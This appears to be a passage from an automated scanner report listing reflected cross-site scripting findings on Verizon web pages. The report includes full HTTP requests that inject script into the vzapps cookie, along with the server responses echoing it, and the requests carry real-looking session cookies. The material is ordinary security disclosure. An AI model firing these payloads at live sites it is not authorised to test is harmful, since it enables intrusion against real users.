MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 47f66<script>alert(1)</script>f9d43cba20d was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_online_natoff/hsi_online_natoff.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX47f66<script>alert(1)</script>f9d43cba20d; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f6cb1'><script>alert(1)</script>68c67b1ae7a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Bundles/Landing/hsi_online_natoff/hsi_online_natoff.html HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXf6cb1'><script>alert(1)</script>68c67b1ae7a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 570e7'><script>alert(1)</script>6b6f1e45695 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX570e7'><script>alert(1)</script>6b6f1e45695; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 63787 Expires: Sat, 20 Nov 2010 02:08:56 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:08:56 GMT Connection: close Set-Cookie: ContextInfo_State=TX570e7'><script>alert(1)</script>6b6f1e45695; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 38b5e'><script>alert(1)</script>2f9927326e3 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/ChannelsEnglish/ChannelsEnglish.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX38b5e'><script>alert(1)</script>2f9927326e3; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 179663 Expires: Sat, 20 Nov 2010 02:10:00 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:10:00 GMT Connection: close Set-Cookie: ContextInfo_State=TX38b5e'><script>alert(1)</script>2f9927326e3; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | DirecTV | Channels </title><meta name="keywords" content="direct tv channels, hd tv channels, hd channels, tv channels, dvr channels, dire ...[SNIP]... <input type='hidden' id='locationInfo' value='TX38B5E'><SCRIPT>ALERT(1)</SCRIPT>2F9927326E3 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3c3f4'><script>alert(1)</script>7ab495a5358 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Equipment/Equipment.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX3c3f4'><script>alert(1)</script>7ab495a5358; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 71664 Expires: Sat, 20 Nov 2010 02:09:46 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:09:46 GMT Connection: close Set-Cookie: ContextInfo_State=TX3c3f4'><script>alert(1)</script>7ab495a5358; path=/ Set-Cookie: ContextInfo_Equipment=; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 1519d'><script>alert(1)</script>3a6fe93579a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX1519d'><script>alert(1)</script>3a6fe93579a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 50561 Expires: Sat, 20 Nov 2010 02:10:28 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:10:28 GMT Connection: close Set-Cookie: ContextInfo_State=TX1519d'><script>alert(1)</script>3a6fe93579a; path=/
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 234e2<script>alert(1)</script>1d6312f48ee was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Installation/Installation.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX234e2<script>alert(1)</script>1d6312f48ee; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 50557 Expires: Sat, 20 Nov 2010 02:10:32 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:10:32 GMT Connection: close Set-Cookie: ContextInfo_State=TX234e2<script>alert(1)</script>1d6312f48ee; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload aac86'><script>alert(1)</script>9a4605f90ae was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Packages/Packages.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXaac86'><script>alert(1)</script>9a4605f90ae; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 66986 Expires: Sat, 20 Nov 2010 02:09:52 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:09:52 GMT Connection: close Set-Cookie: ContextInfo_State=TXaac86'><script>alert(1)</script>9a4605f90ae; path=/ Set-Cookie: ContextInfo_Language=; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7f7a6'><script>alert(1)</script>4ae828ebbcb was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/DirecTV/Premium/Premium.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7f7a6'><script>alert(1)</script>4ae828ebbcb; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 84381 Expires: Sat, 20 Nov 2010 02:09:48 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:09:48 GMT Connection: close Set-Cookie: ContextInfo_State=TX7f7a6'><script>alert(1)</script>4ae828ebbcb; path=/ Set-Cookie: ContextInfo_DTVPremium=; path=/
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 57cde'><script>alert(1)</script>42fd9a96b01 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/EntertainmentOnDemand/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX57cde'><script>alert(1)</script>42fd9a96b01; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 49156 Expires: Sat, 20 Nov 2010 02:34:11 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:34:11 GMT Connection: close Set-Cookie: ContextInfo_State=TX57cde'><script>alert(1)</script>42fd9a96b01; path=/ Set-Cookie: FLOWTYPE=VASIP; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Entertainment on Demand </title><meta name="keywords" content="verizon entertainment on demand, verizon eod, verizon games, verizon movies ...[SNIP]... <input type='hidden' id='locationInfo' value='TX57CDE'><SCRIPT>ALERT(1)</SCRIPT>42FD9A96B01 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8aa13'><script>alert(1)</script>b18f6a6e3d9 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/EntertainmentOnDemand/Games/Games.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX8aa13'><script>alert(1)</script>b18f6a6e3d9; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 73700 Expires: Sat, 20 Nov 2010 02:35:11 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 02:35:11 GMT Connection: close Set-Cookie: ContextInfo_State=TX8aa13'><script>alert(1)</script>b18f6a6e3d9; path=/
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Entertainment on Demand: Games </title><meta name="keywords" content="games, world of warcraft, internet games, online games, action game ...[SNIP]... <input type='hidden' id='locationInfo' value='TX8AA13'><SCRIPT>ALERT(1)</SCRIPT>B18F6A6E3D9 ' /> ...[SNIP]...
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8bdd5'><script>alert(1)</script>0e84856a01a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
